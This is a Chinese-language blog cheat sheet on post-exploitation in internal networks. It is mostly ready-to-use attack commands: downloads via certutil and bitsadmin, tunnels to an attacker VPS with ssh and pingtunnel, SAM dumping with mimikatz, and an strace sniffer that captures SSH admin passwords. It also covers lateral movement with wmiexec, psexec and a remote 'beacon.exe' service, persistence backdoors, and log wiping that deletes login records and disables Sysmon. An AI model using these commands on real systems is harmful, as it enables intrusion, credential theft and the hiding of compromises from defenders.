Administrator
发布于 2024-11-11 / 18 阅读
0

内网渗透基础

前言

本文主要对一些有用常用的但不太基础的内容作以记录

信息收集

Chrome浏览器信息

历史记录

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History

微信文件

枚举微信账户接受的文件
dir /s /b C:\Users\l\Documents\"wecat Files"\ | findstr FileStorage\File
枚举接受过的图片
dir /s /b %userprofile%\Documents\"Wechat Files"\ | findstr .jpg

数据库信息收集

MySQL

获取表结构
select concat(TABLE_SCHEMA,'.',TABLE_NAME),COLUMN_NAME,COLUMN_TYPE,COLUMN_COMMENT from information_schema.`COLUMNS` where table_schema not in ('performance_schema','mysql','sys','information_schema');
获取数据量
select concat(table_schema,'.',table_name),table_rows,table_comment from information_schema.tables where table_schema not in ('performance_Schema','mysql','sys','information_schema') order by table_rows desc;
查找包含特定字段的表
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('pass', 'pwd', 'password', 'passwd', 'secret')  AND TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') ORDER BY TABLE_SCHEMA, TABLE_NAME;

数据分析

利用everything,不支持文档

D:\*.txt content:密码

利用powerGREP,支持文档。

文件下载

curl
curl -O https://example.com/file.zip
powershell
powershell -Command "Invoke-WebRequest -Uri 'https://example.com/file.zip' -OutFile 'file.zip'"
bitsadmin(新版弃用)
bitsadmin /transfer mydownload /download /priority high https://example.com/file.zip C:\path\to\save\file.zip
certutil
certutil -urlcache -split -f https://example.com/file.zip C:\path\to\save\file.zip

执行文件

通过wmic,父进程为wmiprvse.exe,可以避免进程链分析

wmic process call create "D:\test.exe"

通过几乎任务,/ru 参数可以指定用户,不指定则以当前用户。

schtasks /create /sc once /sd 2024/10/10 /st 12:00 /tn mytaskname /tr "D:\test.exe"
手动拉起执行
schtasks /run /tn mytaskma,e
删除计划任务
schtasks /end /tn mytaskname
schtasks /delete /tn mytaskname /f

通过系统服务执行文件,需要管理员权限

sc create sname binpath="D:\t.exe" displayname="sname"
启动
sc start sname
删除
sc delete sname

linux反弹shell使用可交互命令

python -c 'import pty;pty.spawn("/bin/bash")'

通过NTFS交换数据流执行文件

利用DLL执行文件

powershell绕过AMSI,利用脚本关闭AMSI

利用explorer执行文件

explorer D:\1.exe

将可执行文件打包成msi执行

使用regsvr32下载并执行文件

隧道搭建

出网判断

tcp udp icmp http https

dns

在Windows中

nslookup www.a.com 100.100.100.100

在Linux中

dig @100.100.100.100 www.a.com

多级代理--stowaway

vps:1.1.1.1
./admin -l 1111 -s s
内网A主机A: 2.2.2.2
./agentA -c 1.1.1.1:1111 -s s
在A主机使用agent开启监听:
./adminA -l 2222 -s s2
内网B主机B:3.3.3.3
./agentB -c 2.2.2.2:2222 -s s2

ssh搭建socks5隧道

vps:1.1.1.1
内网主机A:2.2.2.2
将内网主机的ssh映射到VPS的1022端口
ssh -C -f -N -g -R 1022:127.0.0.1:22 root@1.1.1.1
搭建隧道10800端口
ssh -C -f -N -g -D 10800 root@127.0.0.1 -p 1022

openvpn

v2ray

goproxy

iodine(dns)

pingtunnel(icmp)

vps:1.1.1.1
./pingtunnel -type server -noprint 1 -nolog1
内网主机A:2.2.2.2
pingtunnel -type client -l :1080 -s 1.1.1.1 -sock5 1 -noprint 1 -nolog 1

凭据获取

Windows

mimikatz

离线导出SAM

reg save HKLM\SYSTEM %temp%\system.hiv
reg save HKLM\SAM %temp%\sam.hiv
mimikatz log privilege::debug "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

使用secretsdump远程抓取

LSASS转储

使用SharpDecryptPwd抓取密码

使用SSMSPwd抓取mssql ms保存的密码

浏览器密码:

WebBrowerPassView

HackBrowserData

sgarp-HackBrowerData

BrowserGhost

Linux

利用ssh后门记录密码

利用strace

首先安装strace:yum install -y strace
然后执行命令:
strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &
等管理员登录后可以使用下面命令进行查看密码:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

权限提升

Windows

bypassuac

烂土豆

CVE

Linux

dirtycow

dirty_sock (ubuntu)

cve-2019-13272

sudo-cve-2021-3156 , sudo 1.8.2-1.8.31p2 1.9.0-1.9.5p1

polkit-cve-2021-4034

overlayfs-cve-2021-3493(ubuntu)

dirtypipe-cve-2022-0847

横向移动

建立IPC,创建服务

net use \\192.168.1.1 /u:test\admin 123456
sc \\192.168.1.1 create service1 bindpath="D:\beacon.exe" start=auto
sc \\192.168.1.1 start service1

利用WMI

ports: 135 445 49154 
tools:wmiexec.py wmihacker wmic  crackmapexec psexec
python wmiexec.py test/admin:123456@192.168.1.1 -codec gbk
python wmiexec.py test/admin@192.168.1.1 -hashes:c780xxxxxxx -codec gbk
cscript wmihacker.vbs /shell 192.168.1.1 test/admin 123456
cme smb 192.168.1.1 -d test.com -u admin -H c780xxxxxxxx --codec gbk -x whoami
psexec.exe \\192.168.1.1 -u test\admin -p 123456 cmd

利用5985端口 WinRM

在攻击鸡中执行下面命令,以便开启服务并设置信任主机
winrm quickconfig -q -force
powershell -c "Set-Item wsman:\localhosts\Client\TrustedHosts -value *"

在远程主机执行:
winrs -r:http://192.168.1.1:5985 -u test\admin -p:123456 "cmd.exe /c whoami"

使用cme
cme winrm 192.168.1.1 -d test.com -u admin -H c780xxxxxxxxxxxxxxx -x whoami

ms17-010

中间人攻击

Responder

mysql udf提权,UDF(user defined function,用户自定义函数) ,需要root权限 可写文件

mssql xp_cmdshell wscript.shell sp_oacreate CLR(Common Language Runtime,公共语言运行时),使用SharpSQLTools

redis

权限维持

Windows

后门账户

系统服务

services.msc

任务计划,可通过替换已存在的但是不常用的任务计划,以达到更隐蔽的效果

WMI

注册表

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

自启动目录

win7及以上:
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
所有用户有效:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

shift后门

驱动程序,Easy File Locker

Linux

crontab

配置服务

ssh密钥免密登录

OpenSSH 万能密码后门

suid后门

痕迹清理

Windows

系统日志

进程创建日志

更改文件修改时间

修改文件属性为隐藏

致盲Sysmon

Linux

登录时隐藏 :ssh -T root@1.1.1.1 /bin/bash -i

在连接ssh时不将公钥指纹保存到.ssh/known_hosts文件中: ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@hostname

当前会话禁止记录历史命令:

export HISTSIZE=0
export HISTFILESIZE=0
history -c
history -w

清理登录日志

sed -i '/1.1.1.1/'d /var/log/btmp
sed -i '/1.1.1.1/'d /var/log/lastlog
sed -i '/1.1.1.1/'d /var/log/wtmp
sed -i '/1.1.1.1/'d /var/log/message

更改文件修改时间

touch -r 参照哪个文件的时间  需要修改文件的时间
touch -r /etc/passwd /tmp/myfile